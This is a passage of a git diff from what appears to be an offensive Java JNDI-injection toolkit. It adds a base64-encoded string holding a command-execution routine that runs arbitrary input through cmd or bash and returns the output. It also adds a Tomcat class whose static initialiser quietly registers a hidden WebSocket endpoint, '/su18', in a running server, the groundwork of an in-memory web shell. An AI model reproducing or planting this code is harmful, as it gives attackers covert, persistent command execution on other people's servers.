+ public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhL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udWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJpbml0U3RyZWFtcyIsIG5ldyBDbGFzc1tde2ludFtdLmNsYXNzfSwgbmV3IE9iamVjdFtde3N0ZF9mZHN9KTsKCQkJCWphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICAgIGluICAgPSAoamF2YS5pby5JbnB1dFN0cmVhbSkgZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ==";
}
diff --git a/src/main/java/com/nu1r/jndi/template/tomcat/TWSMSFromThread.java b/src/main/java/com/nu1r/jndi/template/tomcat/TWSMSFromThread.java
new file mode 100644
index 00000000..02df2a4d
--- /dev/null
+++ b/src/main/java/com/nu1r/jndi/template/tomcat/TWSMSFromThread.java
@@ -0,0 +1,38 @@
+package com.nu1r.jndi.template.tomcat;
+
+import org.apache.catalina.core.StandardContext;
+import org.apache.catalina.loader.WebappClassLoaderBase;
+import org.apache.tomcat.websocket.server.WsServerContainer;
+
+import javax.websocket.*;
+import javax.websocket.server.ServerContainer;
+import javax.websocket.server.ServerEndpointConfig;
+
+public class TWSMSFromThread extends Endpoint implements MessageHandler.Whole {
+
+ static {
+ String wsName = "/su18";
+ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
+ StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
+ ServerEndpointConfig build = ServerEndpointConfig.Builder.create(TWSMSFromThread.class, wsName).build();
+ WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
+ try {
+ attribute.addEndpoint(build);
+ standardContext.getServletContext().setAttribute(wsName, wsName);
+ } catch (DeploymentException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public Session session;
+
+ public void onMessage(String message) {
+ }
+
+
+ @Override
+ public void onOpen(Session session, EndpointConfig config) {
+ this.session = session;
+ session.addMessageHandler(this);
+ }
+}